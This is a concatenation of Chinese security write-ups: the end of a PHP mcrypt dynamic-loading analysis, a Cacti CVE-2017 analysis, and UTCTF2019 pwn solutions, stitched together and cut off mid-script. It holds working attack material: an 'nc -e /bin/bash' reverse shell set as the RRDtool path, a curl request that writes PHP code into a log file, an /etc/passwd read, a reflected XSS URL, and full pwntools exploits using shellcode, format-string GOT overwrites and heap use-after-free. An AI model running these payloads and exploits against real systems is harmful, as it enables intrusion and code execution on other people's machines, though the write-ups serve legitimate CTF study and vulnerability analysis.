return lt_dlopen (filename);
}
否则，按照后缀默认是archive_ext进行之后的操作，输出下archive_ext：
(gdb) p archive_ext
$2 = ".la"
看下LTDL_SHLIB_EXT：
(gdb) p LTDL_SHLIB_EXT
No symbol "LTDL_SHLIB_EXT" in current context.
未定义，其实这个LTDL_SHLIB_EXT应该就是so，不过需要你手动安装ltdl库才有这个定义，但是就算该宏定义了，la文件也是必须的，因为在后面的操作中，需要操作handle->info.name这个值来调用so文件，而这个值需要从la文件的
dlname=’rjndael-256.so’ 中得到，所以在目标文件夹中需要la和so文件，那么我们将其全复制过来：
cp modules/algorithms/.libs/rjndael-256.* /root/fuckphp/
改下源代码：
$td = mcrypt_module_open('rjndael-256.la', '/root/fuckphp', 'ofb', '');
再执行下：
搞定。
## 结束
最后得到的应用场景与一开始想的有很大差异，限制很多，变得了没啥用的鸡肋姿势，不过我觉得这个分析的过程还是有一些收获的，所以就随便写点纪录下来。
这说明动态加载在php中是风险很高的一个选项，此处可能鸡肋，但是不排除存在其他可以加载la和so的函数接口，就算找不到文档，硬怼源码也是可以搞定的。更多的利用姿势等待大家挖掘，有更屌的姿势环境发邮件与我探讨。 | 社区文章 |
## 0x00 前言
Cacti安装完成后默认口令为`admin/cacti`，进入后台后常见的getshell方式有：文件上传绕过，修改配置写入代码到配置文件，修改可执行文件路径进行命令注入，修改日志文件路径写入代码等等。
Cacti的路径设置如图:
看到我们可以设置snmp、php、rrdtool二进制文件的路径和日志文件的路径。并在在clog中可以读取日志文件。
结合后台功能进行代码审计
## 0x01 CVE-2017-16641 远程命令执行
设置RRDtool Binary Path为`nc -e /bin/bash 127.0.0.1 1234
#`，本地监听1234端口，稍等片刻shell就反弹回来了。
此处[路径设置](http://localhost/cacti/settings.php?tab=path&)的代码在`settings.php`,L:33-81
case 'save':
foreach ($settings{get_request_var('tab')} as $field_name => $field_array) {
if (($field_array['method'] == 'header') || ($field_array['method'] == 'spacer' )){
/* do nothing */
} elseif ($field_array['method'] == 'checkbox') {
if (isset_request_var($field_name)) {
db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, 'on')", array($field_name));
} else {
db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, '')", array($field_name));
}
} elseif ($field_array['method'] == 'checkbox_group') {
foreach ($field_array['items'] as $sub_field_name => $sub_field_array) {
if (isset_request_var($sub_field_name)) {
db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, 'on')", array($sub_field_name));
} else {
db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, '')", array($sub_field_name));
}
}
} elseif ($field_array['method'] == 'textbox_password') {
if (get_nfilter_request_var($field_name) != get_nfilter_request_var($field_name.'_confirm')) {
raise_message(4);
break;
} elseif (!isempty_request_var($field_name)) {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, get_nfilter_request_var($field_name)));
}
} elseif ((isset($field_array['items'])) && (is_array($field_array['items']))) {
foreach ($field_array['items'] as $sub_field_name => $sub_field_array) {
if (isset_request_var($sub_field_name)) {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($sub_field_name, get_nfilter_request_var($sub_field_name)));
}
}
} elseif ($field_array['method'] == 'drop_multi') {
if (isset_request_var($field_name)) {
if (is_array(get_nfilter_request_var($field_name))) {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, implode(',', get_nfilter_request_var($field_name))));
} else {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, get_nfilter_request_var($field_name)));
}
} else {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, "")', array($field_name));
}
} elseif (isset_request_var($field_name)) {
if (is_array(get_nfilter_request_var($field_name))) {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, implode(',', get_nfilter_request_var($field_name))));
} else {
db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, get_nfilter_request_var($field_name)));
}
}
}
根据配置中字段的method值进行了不同的处理,查看配置可以知道字段类型为filepath进入最后一个分支，从`get_nfilter_request_var`(无过滤)获取参数后直接写入数据库。此处的路径可控
`include/global_settings.php`, L:91-251
$settings = array(
'path' => array(
......
'path_snmpwalk' => array(
'friendly_name' => __('snmpwalk Binary Path'),
'description' => __('The path to your snmpwalk binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_snmpget' => array(
'friendly_name' => __('snmpget Binary Path'),
'description' => __('The path to your snmpget binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_snmpbulkwalk' => array(
'friendly_name' => __('snmpbulkwalk Binary Path'),
'description' => __('The path to your snmpbulkwalk binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_snmpgetnext' => array(
'friendly_name' => __('snmpgetnext Binary Path'),
'description' => __('The path to your snmpgetnext binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_snmptrap' => array(
'friendly_name' => __('snmptrap Binary Path'),
'description' => __('The path to your snmptrap binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_rrdtool' => array(
'friendly_name' => __('RRDtool Binary Path'),
'description' => __('The path to the rrdtool binary.'),
'method' => 'filepath',
'max_length' => '255'
),
'path_php_binary' => array(
'friendly_name' => __('PHP Binary Path'),
'description' => __('The path to your PHP binary file (may require a php recompile to get this file).'),
'method' => 'filepath',
'max_length' => '255'
),
'logging_header' => array(
'friendly_name' => __('Logging'),
'collapsible' => 'true',
'method' => 'spacer',
),
'path_cactilog' => array(
'friendly_name' => __('Cacti Log Path'),
'description' => __('The path to your Cacti log file (if blank, defaults to <path_cacti>/log/cacti.log)'),
'method' => 'filepath',
'default' => $config['base_path'] . '/log/cacti.log',
'max_length' => '255'
),
......
),
全局搜索`read_config_option('path_rrdtool')`发现在`lib/rrd.php`,
L:45-71使用该路径拼接进入命令,需要通过rrd_init函数触发
function rrd_init($output_to_term = true) {
global $config;
$args = func_get_args();
$force_storage_location_local = (isset($config['force_storage_location_local']) && $config['force_storage_location_local'] === true ) ? true : false;
$function = ($force_storage_location_local === false && read_config_option('storage_location')) ? '__rrd_proxy_init' : '__rrd_init'; //storage_location默认设置为0 Local
return call_user_func_array($function, $args);
}
function __rrd_init($output_to_term = true) {
global $config;
/* set the rrdtool default font */
if (read_config_option('path_rrdtool_default_font')) {
putenv('RRD_DEFAULT_FONT=' . read_config_option('path_rrdtool_default_font'));
}
if ($output_to_term) {
$command = read_config_option('path_rrdtool') . ' - ';
} elseif ($config['cacti_server_os'] == 'win32') {
$command = read_config_option('path_rrdtool') . ' - > nul';
} else {
$command = read_config_option('path_rrdtool') . ' - > /dev/null 2>&1';
}
return popen($command, 'w');
}
全局搜索`rrd_init()`,在`poller.php`,
L:496-502中调用，由于poller.php每隔一段时间自动执行，触发命令反弹shell
if ($poller_id == 1) { //poller_id默认为1
/* insert the current date/time for graphs */
db_execute("REPLACE INTO settings (name, value) VALUES ('date', NOW())");
/* open a pipe to rrdtool for writing */
$rrdtool_pipe = rrd_init();
}
## 0x02 CVE-2017-16660 远程代码执行
由于可以自定义日志文件路径，于是将日志文件设置为`/var/log/cacti/shell.php，然后将php代码写入日志文件中。
Cacti使用`cacti_log`函数将数据写入到日志文件`lib/functions.php` L:527-615
function cacti_log($string, $output = false, $environ = 'CMDPHP', $level = '') {
global $config;
......
/* determine how to log data */
$logdestination = read_config_option('log_destination');//默认为1 Logfile Only
$logfile = read_config_option('path_cactilog');
/* format the message */
if ($environ == 'POLLER') {
$message = "$date - " . $environ . ': Poller[' . $config['poller_id'] . '] ' . $string . "\n";
} else {
$message = "$date - " . $environ . ' ' . $string . "\n";
}
/* Log to Logfile */
if (($logdestination == 1 || $logdestination == 2) && read_config_option('log_verbosity') != POLLER_VERBOSITY_NONE) {
if ($logfile == '') {
$logfile = $config['base_path'] . '/log/cacti.log';
}
/* echo the data to the log (append) */
$fp = @fopen($logfile, 'a');
if ($fp) {
@fwrite($fp, $message);
fclose($fp);
}
}
全局搜索`cacti_log(`，在`remote_agent.php`,L:38-41, 114-147中有一处可利用
if (!remote_client_authorized()) {
print 'FATAL: You are not authorized to use this service';
exit;
}
......
function remote_client_authorized() {
/* don't allow to run from the command line */
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$client_addr = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['X-Forwarded-For'])) {
$client_addr = $_SERVER['X-Forwarded-For'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$client_addr = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$client_addr = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$client_addr = $_SERVER['HTTP_FORWARDED'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$client_addr = $_SERVER['REMOTE_ADDR'];
} else {
return false;
}
$client_name = strip_domain(gethostbyaddr($client_addr));//warning 解析失败返回false
$pollers = db_fetch_assoc('SELECT * FROM poller');
if (sizeof($pollers)) {
foreach($pollers as $poller) {
if (strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
}
cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");
return false;
}
`$client_name`和`$client_addr`两个变量拼接进入字符串，其中`$client_addr`可以从client-ip中获取并且未过滤。在client-ip中设置php代码，访问/remote_agent.php后可将其写入日志文件中
curl -H "Client-ip: <?php phpinfo();?>"
'<http://localhost/cacti/remote_agent.php>'
## 0x03 CVE-2017-16661 任意文件读取
在[clog](http://localhost/cacti/clog.php?rfilter=&reverse=1&refresh=60&message_type=-1&tail_lines=500&filename=&)中可以查看系统日志。
`clog.php`中调用`clog_view_logfile`方法查看日志 `lib/clog_webapi.php`,L:76-196
function clog_view_logfile() {
global $config;
$clogAdmin = clog_admin();
$logfile = read_config_option('path_cactilog');
if (isset_request_var('filename')) {
$requestedFile = dirname($logfile) . '/' . basename(get_nfilter_request_var('filename'));
if (file_exists($requestedFile)) {
$logfile = $requestedFile;
}
} elseif ($logfile == '') {
$logfile = $config['base_path'] . '/log/cacti.log';
}
......
$logcontents = tail_file($logfile, $number_of_lines, get_request_var('message_type'), get_request_var('rfilter'), $page_nr, $total_rows); //tail_file - Emulates the tail function with PHP native functions
}
`dirname($logfile) . '/' .
basename(get_nfilter_request_var('filename'))`，由于`path_cactilog`和`filename`都可控，可以任意设置要读取的文件。例如：将`path_cactilog`设置为`/etc/tmp.log`，访问[http://localhost/cacti/clog.php?rfilter=&reverse=1&refresh=60&message_type=-1&tail_lines=500&filename=passwd&](http://localhost/cacti/clog.php?rfilter=&reverse=1&refresh=60&message_type=-1&tail_lines=500&filename=passwd&)可读取/etc/passwd
## 0x04 CVE-2017-16785反射型xss
[http://localhost/cacti/host.php/gahv8'-alert(document.domain)-'w6vt7??host_status=-1&host_template_id=-1&site_id=-1&poller_id=-1&rows=-1&filter=&](http://localhost/cacti/host.php/gahv8'-alert\(document.domain\)-'w6vt7??host_status=-1&host_template_id=-1&site_id=-1&poller_id=-1&rows=-1&filter=&)
reflect xss
在`include/auth.php`, L:81-172中判断用户是否登录，未登录用户加载auth_login.php进行登录，已登录用户显示后台界面
if (empty($_SESSION['sess_user_id'])) {
include($config['base_path'] . '/auth_login.php');
exit;
} elseif (!empty($_SESSION['sess_user_id'])) {
...
include_once('./include/global_session.php');
...
}
在`auth_login.php`, L:576,683 读取当前页面路径拼接进入action
<form name='login' method='post' action='<?php print get_current_page();?>'>
......
<?php include_once('./include/global_session.php');?>
`lib/function.php`, L:2889-2913
PHP_SELF返回当前执行脚本的文件名，但在pathinfo模式下PHP_SELF会返回从文件名到query_string之前的部分。由于pathinfo中的单引号不会被转义，可以在form中构造反射型xss，但这样只会影响未登录用户。
function get_current_page($basename = true) {
if (isset($_SERVER['PHP_SELF']) && $_SERVER['PHP_SELF'] != '') {
if ($basename) {
return basename($_SERVER['PHP_SELF']);
} else {
return $_SERVER['PHP_SELF'];
}
} elseif(){
......
}
return false;
}
`include/global_session.php`, L:91
获取REQUEST_URL过滤html标签过来非url字符后作为js参数拼接进入字符串。同理配合pathinfo模式引入单引号构造反射型xss，同时影响登录用户和未登录用户。
`var requestURI='<?php print filter_var(strip_tags($_SERVER['REQUEST_URI']),
FILTER_SANITIZE_URL);?>';`
## 0x05 番外
前面的两处RCE都需要管理员身份来触发，当我们没有口令登录后台时，可以配合反射型xss来getshell | 社区文章 |
# UTCTF2019
## pwn
### Baby Pwn
nc stack.overflow.fail 9000
检查保护情况
[*] '/home/kira/pwn/utctf/babypwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
可以看到什么保护都没开，这种情况一般优先考虑写shellcode的方式
int __cdecl main(int argc, const char **argv, const char **envp)
{
welcome();
do_calc();
return printf("Goodbye %s\n", &name);
}
主函数比较简单，一个welcome函数和一个calc函数。
int welcome()
{
puts("Welcome to the UT calculator service");
puts("What is your name?");
gets(&name);
return printf("Hello %s\n", &name);
}
函数要求我们输入一个name，name存放在bss段，程序没有开PIE，地址可知，那么我们可以在这里写入shellcode。
int do_calc()
{
char v1; // [rsp+0h] [rbp-90h]
char nptr; // [rsp+40h] [rbp-50h]
__int64 v3; // [rsp+78h] [rbp-18h]
__int64 v4; // [rsp+80h] [rbp-10h]
char v5; // [rsp+8Fh] [rbp-1h]
printf("Enter an operation (+ - *): ");
v5 = getchar();
flush_stdin();
if ( v5 != '*' && v5 != '+' && v5 != '-' )
{
puts("That's not a valid operation!");
exit(0);
}
printf("Enter the first operand: ");
gets(&nptr);
v4 = atol(&nptr);
printf("Enter the second operand: ");
gets(&v1);
v3 = atol(&v1);
if ( v5 == 43 )
return printf("The sum is: %ld\n", v4 + v3);
if ( v5 == '-' )
return printf("The difference is: %ld\n", v4 - v3);
if ( v5 != '*' )
{
puts("How did I get here?");
puts("Exiting..");
exit(0);
}
return printf("The product is: %ld\n", v3 * v4);
}
这里有两个溢出点，都是输入运算数的地方，我这里选择`gets(&v1)`作为溢出点，只要填充0x98个字符就可以覆盖ret了，这里需要需注意一下，程序会判断运算符是否为`+
- *`，如果不是就会`exit`，所以我们填充垃圾数据的时候注意不能把运算符（`v5`）改成其他字符。
from pwn import *
p = remote('stack.overflow.fail',9000)
name_addr = 0x601080
p.sendlineafter('name?\n',asm(shellcraft.sh()))
p.sendline('+')
p.sendline('123')
p.sendline('+'*0x98+p64(name_addr))
p.interactive()
### BabyEcho
I found this weird echo server. Can you find a vulnerability?
nc stack.overflow.fail 9002
检查保护情况
[*] '/home/kira/pwn/utctf/BabyEcho'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序比较简单，没有栈溢出，不过有一个很明显的格式化字符串漏洞。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ah] [ebp-3Eh]
unsigned int v4; // [esp+4Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("Give me a string to echo back.");
fgets(&s, 50, stdin);
printf(&s);
exit(0);
}
这里有一个坑，`s`的地址不是4字节最齐，动态调试一下会看得更清楚，在`0x08048593`处下一个断点，gdb调试一下：
由上图可见，有两个`a`是在`0xffffd458`处，所以我们格式化字符串进行任意地址写的时候，要注意填充两个字节以确保地址对齐。
思路整理：
1. 由于题目不是while循环，第一步要先把`[email protected]`改成`main`，令程序进入死循环
2. 动态调试的时候发现栈中有`_IO_2_1_stdin_`的地址，可以用于泄露libc基址
3. 把`[email protected]`改成`system`，之后再次输入`/bin/sh`即可getshell。由于出题人没有给libc，尝试了好几个libc版本，才打远程成功，最后确认libc版本为`libc6-i386_2.23-0ubuntu10_amd64.so`。
from pwn import *
p = remote('stack.overflow.fail',9002)
elf = ELF('./BabyEcho')
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
# overwrite [email protected]
main_addr = 0x804851B
exit_got = 0x804A01C
byte1 = main_addr & 0xff
byte2 = (main_addr & 0xff00) >> 8
payload = '%{}c%{}$hhn'.format(byte1,11+8)
payload += '%{}c%{}$hhn'.format(byte2-byte1,11+9)
payload = payload.ljust(34,'a')
payload += p32(exit_got)+p32(exit_got+1)
p.sendlineafter('back.\n',payload)
# leak libc address
p.sendlineafter('back.\n','%2$p')
libc.address = int(p.readline(),16) - libc.sym['_IO_2_1_stdin_']
# overwrite [email protected]
system_addr = libc.sym['system']
byte1 = system_addr & 0xff
byte2 = (system_addr & 0xffff00) >> 8
payload = '%{}c%{}$hhn'.format(byte1,11+8)
payload += '%{}c%{}$hn'.format(byte2-byte1,11+9)
payload = payload.ljust(34,'a')
payload += p32(elf.got['printf'])+p32(elf.got['printf']+1)
p.sendlineafter('back.\n',payload)
p.interactive()
### PPower enCryption
nc stack.overflow.fail 9001
检查保护情况
[*] '/home/kira/pwn/utctf/ppc'
Arch: powerpc64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000000)
RWX: Has RWX segments
### Encryption Service
nc stack.overflow.fail 9004
检查保护情况
[*] '/home/kira/pwn/utctf/Encryption_Service'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
int v5; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("What is your user id?");
v3 = "%d%*c";
__isoc99_scanf("%d%*c", &user_id);
while ( 1 )
{
print_menu(v3);
v3 = "%d%*c";
__isoc99_scanf("%d%*c", &v5);
switch ( v5 )
{
case 1:
encrypt_string();
break;
case 2:
remove_encrypted_string();
break;
case 3:
view_messages();
break;
case 4:
edit_encrypted_message();
break;
case 5:
return 0;
default:
v3 = "Not a valid option";
puts("Not a valid option");
break;
}
}
}
程序提供了4个功能分别是：
1. 创建一个加密字符串，为一个0x28大小的结构体，需要选择加密方式，输入明文长度以及明文内容；
2. 删除一个加密字符串，不会free掉创建的结构体，不过会把结构体中`freed`的标记位置为1，然后free掉明文和密文的内存；
3. 打印已创建的加密字符串；
4. 编辑一个加密字符串，可以重新输入明文；
加密字符串的结构体如下：
struct message
{
char *plaintxt;
char *ciphertxt;
void *encrypt;
void *print_info;
__int32 isFreed;
__int32 size;
};
简单看了一下，程序没有明显的漏洞，不过有几个地方的处理逻辑值得留意一下。
* encrypt_string函数（这里的`*&size[4]`应该是message结构体，但IDA把它和size连在一起，不知道如何修改类型，求知道的师傅告知一下）
unsigned __int64 encrypt_string()
{
int v1; // [rsp+8h] [rbp-28h]
char size[12]; // [rsp+Ch] [rbp-24h]
char *plaintxt; // [rsp+18h] [rbp-18h]
void *ciphertxt; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
print_encryption_menu();
__isoc99_scanf("%d%*c", &v1);
*&size[4] = create_info(); // 这里创建结构体
if ( *&size[4] )
{
if ( v1 == 1 )
{
*(*&size[4] + 16LL) = key_encrypt;
*(*&size[4] + 24LL) = print_key;
}
else
{
if ( v1 != 2 ) // 选择不存在的加密方式，直接退出
{
puts("Not a valid choice");
return __readfsqword(0x28u) ^ v5;
}
*(*&size[4] + 16LL) = xor_encrypt;
*(*&size[4] + 24LL) = print_xor;
}
printf("How long is your message?\n>", &v1);
__isoc99_scanf("%d%*c", size); // 可以输入负数
*(*&size[4] + 36LL) = ++*size;
plaintxt = malloc(*size);
printf("Please enter your message: ", size);
fgets(plaintxt, *size, stdin);
**&size[4] = plaintxt;
ciphertxt = malloc(*size);
*(*&size[4] + 8LL) = ciphertxt;
(*(*&size[4] + 16LL))(plaintxt, ciphertxt);
printf("Your encrypted message is: %s\n", ciphertxt);
}
return __readfsqword(0x28u) ^ v5;
}
单看输入点，使用的是`fgets`，长度也是限制得死死的，没有截断问题和溢出点。但是，留意一下整个流程，会发现一些问题：
1. 函数在开始就直接创建一个结构体，而当我们选择一个错的加密方式直接退出后，但是创建的结构体并没有删除。由于函数提早退出，下面各种写入步骤全部跳过了，预留内存的数据没有改下，那我们就有UAF的可能性了。
2. 输入明文长度的时候没有判断输入数字合法性，如果我们输入`-1`，那么最终`size=0`，就会出现`malloc(0)`的情况。同时`fgets`时的size为0，意味着不会读取任何数据，内存中的数据就不会更改，这样就可以绕过`fgets`末位加`\x00`截断的问题，从而泄露内存数据。
由于程序中没有`system`之类的函数，那么第一步还是考虑如何泄露libc基址，可以上述第二点漏洞进行，步骤如下：
1. 创建一个加密字符串，明文长度为0x100；
2. 删除此加密字符串，根据先free明文，后free密文的顺序，明文heap块的头会写入`main_arena+88`的地址，之后free密文后，两个unsorted bins会合并到top chunk；
3. 创建一个加密字符串，明文长度为0（size输入`-1`），`malloc(0)`会创建一个0x20大小的chunk，由于`size=0`，`main_arena+88`的地址并不会被改写；
4. `view_messages()`打印信息，就会把`main_arena+88`的地址泄露；
* view_messages函数
int view_messages()
{
struct message *v0; // rax
signed int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
v0 = information[i];
if ( v0 )
{
LODWORD(v0) = information[i]->isFreed;
if ( !v0 )
{
printf("Message #%d\n", i);
(information[i]->print_info)();
printf("Plaintext: %s\n", information[i]->plaintxt);
LODWORD(v0) = printf("Ciphertext: %s\n", information[i]->ciphertxt);
}
}
}
return v0;
}
程序打印信息时会调用结构体中`print_info`函数，如果能够把这个函数改成`system`或`one_gadget`就能getshell了。这里我们可以利用上面提到的第一点漏洞：
1. 创建一个加密字符串，明文长度为0x100，明文内容为一个假结构体，其中`print_info`处为`one_gadget`地址；
2. 删除此加密字符串，明文的chunk回收到unsorted bins中；
3. 创建一个加密字符串，输入一个不存在的加密方式，如`3`；
4. 继续创建一个加密字符串，输入一个不存在的加密方式，如`3`，此时会unsorted bins中分裂一块内存给字符串结构体使用，结构体中`print_info`为内存原有的数据，即`one_gadget`地址；
5. `view_messages()`打印信息，调用`information[i]->print_info`
完整EXP：
from pwn import *
p = remote('stack.overflow.fail',9004)
elf = ELF('./Encryption_Service')
libc = ELF('./libc-2.23.so')
def encrypt_string(option,size,message):
p.sendlineafter('>','1')
p.sendlineafter('>',str(option))
if option > 2:
return 0
p.sendlineafter('>',str(size))
if size < 0:
return 0
p.sendlineafter('message: ',message)
def remove_encrypted_string(idx):
p.sendlineafter('>','2')
p.sendlineafter('remove: ',str(idx))
def view_messages():
p.sendlineafter('>','3')
def edit_encrypted_message(idx,message):
p.sendlineafter('>','4')
p.sendlineafter('message',message)
p.sendlineafter('id?\n',str(0xff))
encrypt_string(1,0xff,'a'*0xff)
remove_encrypted_string(0)
encrypt_string(1,-1,'') #0
view_messages()
p.recvuntil('Plaintext: ')
libc.address = u64(p.recv(6)+'\x00\x00') - 0x3c4b20 - 88
success("libc.address:{:#x}".format(libc.address))
one_gadget = libc.address + 0x45216
fake_message = flat(0,0,one_gadget,one_gadget,0,0)
encrypt_string(1,0xff,fake_message) #1
encrypt_string(1,0xff,'123') #2
remove_encrypted_string(1)
encrypt_string(3,0,0)
encrypt_string(3,0,0)
view_messages()
p.interactive()
### Jendy's
I've probably eaten my entire body weight in Wendy's nuggies.
nc stack.overflow.fail 9003
检查保护情况
[*] '/home/kira/pwn/utctf/Jendy'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
int print_menu()
{
puts("Welcome to Jendy's, How may we take your order?");
puts("1. Add Name to Order");
puts("2. Add Item to Order");
puts("3. Remove Item from Order");
puts("4. View order");
puts("5. Checkout");
return putchar(62);
}
程序基本功能：
1. 创建一个name，每次创建都malloc(0x20)的内存；
2. 添加一个item，item为单链表结构，后面详细说；
3. 删除一个item，有对单链表进行操作，后面详细说；
4. 打印order中name及item的信息；
结构体如下：
struct order
{
struct item *head;
struct item *tail;
char *name;
__int64 count;
};
struct item
{
char[24] name;
struct item *next_item;
};
这种链表结构的题目，一般出现漏洞的地方都在链表删除的地方。
unsigned __int64 __fastcall remove_item(struct order *a1)
{
int v2; // [rsp+10h] [rbp-20h]
int i; // [rsp+14h] [rbp-1Ch]
struct item *ptr; // [rsp+18h] [rbp-18h]
struct item *v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
puts("Please enter the number of the item from your order that you wish to remove");
__isoc99_scanf("%d%*c", &v2);
if ( v2 >= 0 )
{
ptr = a1->head;
v5 = 0LL;
if ( v2 || !ptr || v2 ) // a1->head = 0 or v2>0
{
for ( i = 0; ptr && i != v2; ++i )
{
v5 = ptr;
ptr = ptr->next_item;
}
if ( ptr && i == v2 )
{
if ( LODWORD(a1->count) - 1 == v2 )
{
free(a1->tail);
a1->tail = v5;
}
else
{
v5->next_item = ptr->next_item;
free(ptr);
}
--LODWORD(a1->count);
}
}
else // v2=0 and a1->head != 0
{
free(ptr);
*(_OWORD *)&a1->head = 0uLL;
--LODWORD(a1->count);
}
}
return __readfsqword(0x28u) ^ v6;
}
这个删除的函数有几个迷之操作：
1. 删除0号`item`的时候，直接把`head`清0，但是没有对`head`重新赋值；
2. 如果输入的编号`v2`刚好是最后一个item（`count-1`），那么直接删除`a1->tail`，而不是删除`ptr`；
3. 删除`head`或者`tail`，都不会清空`item`结构体的`next_item`指针；
4. 单链表查找删除的`item`时，并不会检查`v2`是否超过`count`的大小；
继续看一下`add_item()`
unsigned __int64 __fastcall add_item(struct order *a1)
{
size_t v1; // rax
int v3; // [rsp+10h] [rbp-20h]
unsigned int i; // [rsp+14h] [rbp-1Ch]
char *dest; // [rsp+18h] [rbp-18h]
struct item *v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
puts("Which item would you like to order from Jendy's?");
for ( i = 0; (signed int)i <= 4; ++i )
printf("%d. %s\n", i, (&options)[i]);
__isoc99_scanf("%d%*c", &v3);
if ( v3 >= 0 && v3 <= 4 )
{
dest = (char *)malloc(0x20uLL);
v1 = strlen((&options)[v3]);
strncpy(dest, (&options)[v3], v1);
v6 = a1->head;
++LODWORD(a1->count);
if ( v6 )
a1->tail->next_item = (struct item *)dest;
else
a1->head = (struct item *)dest;
a1->tail = (struct item *)dest;
}
else
{
puts("Not a valid option!");
}
return __readfsqword(0x28u) ^ v7;
}
这里如果`a1->head`为空，则会重新对`a1->head`赋值为新创建的`item`，同时`a1->tail`也赋值为新创建的`item`。现在回去看看`remove_item()`的第一个迷之操作，如果我们创建2个`item`，然后删掉0号`item`，再创建一个`item`，那么`a1->head`和`a1->tail`同时指向同一个`item`，此时出现`double
free`漏洞了。
继续下一个函数`add_name()`
char *__fastcall add_name(struct order *a1)
{
puts("What is your name?");
a1->name = (char *)malloc(0x20uLL);
return fgets(a1->name, 32, stdin);
}
`name`的大小刚好也是0x30，刚好和`item`的大小一样，由于删除后指针不清除，可以通过`add_name()`进行UAF。
最后看一下本题唯一的打印函数，此处应该是泄露地址的突破口。
unsigned __int64 __fastcall view_order(struct order *a1)
{
unsigned int i; // [rsp+14h] [rbp-3Ch]
char *format; // [rsp+18h] [rbp-38h]
char s; // [rsp+20h] [rbp-30h]
unsigned __int64 v5; // [rsp+48h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( a1->name )
{
snprintf(&s, 0x28uLL, "Name: %s\n", a1->name);
printf("%s", &s);
}
format = (char *)a1->head;
for ( i = 0; SLODWORD(a1->count) > (signed int)i; ++i )
{
printf("Item #%d: ", i);
printf(format);
putchar(10);
format = (char *)*((_QWORD *)format + 3);
}
return __readfsqword(0x28u) ^ v5;
}
这里存在一个很明显的格式化字符串漏洞，但是参数并不存在栈中，利用起来会有不少麻烦。`item`名字的打印次数跟`count`有关，如果通过UAF泄露信息，必须要注意`count`的大小。
关于heap地址泄露，是在调试过程无意发现的，某次的调试过程发现出现不可见字符。
gdb调试看一下内存到底是什么情况，竟然发现当`item`名字用`Peppercorn Mushroom
Melt`时，由于这个名字长度为24，把后面的`*next_item`拼接上了，把堆地址泄露出来，这个不知道是不是出题人故意留的漏洞，太隐蔽了！
由于思考过程过于曲折，我直接给出最终的思路，配合EXP食用：
1. 首先创建名字为`Peppercorn Mushroom Melt`的`item`泄露heap地址；
2. 删除最后一个`item`，用`add_name`把释放的内存复写，`*next_item`写上order的结构体地址；
3. 用`add_name`准备两个格式化字符串payload，注意`*next_item`要连接好，用于将`[email protected]`的地址写入栈中，为之后改`[email protected]`做准备；
4. 使用`remove_item`第4个迷之操作，删除第4个`item`，此时实际只有2个`item`，函数一路查找到order的结构体，然后删掉；
5. 用`add_name`把释放的内存复写，伪造一个order的结构体，其中`*name`改成got表地址，泄露libc地址；`head`、`tail`和`count`也需要精心构造。
6. 使用`view_order`泄露libc地址，并且通过精心构造的`item`链触发格式化字符串；
7. 删掉第一个格式化字符串payload，写入一个新的格式化字符串payload，利用`remove_item`第二个迷之操作删掉第二个格式化字符串payload，写入一个新的格式化字符串payload。
8. 使用`view_order`触发格式化字符串，将`[email protected]`改为`one_gadget`
EXP:
def add_name(name):
p.sendlineafter('>','1')
p.sendlineafter('name?\n',name)
def add_item(idx):
p.sendlineafter('>','2')
p.sendlineafter('4. Dave\'s Single\n',str(idx))
def remove_item(idx):
p.sendlineafter('>','3')
p.sendlineafter('remove\n',str(idx))
def view_order():
p.sendlineafter('>','4')
#leak heap addr
add_item(3)
add_item(3)
view_order()
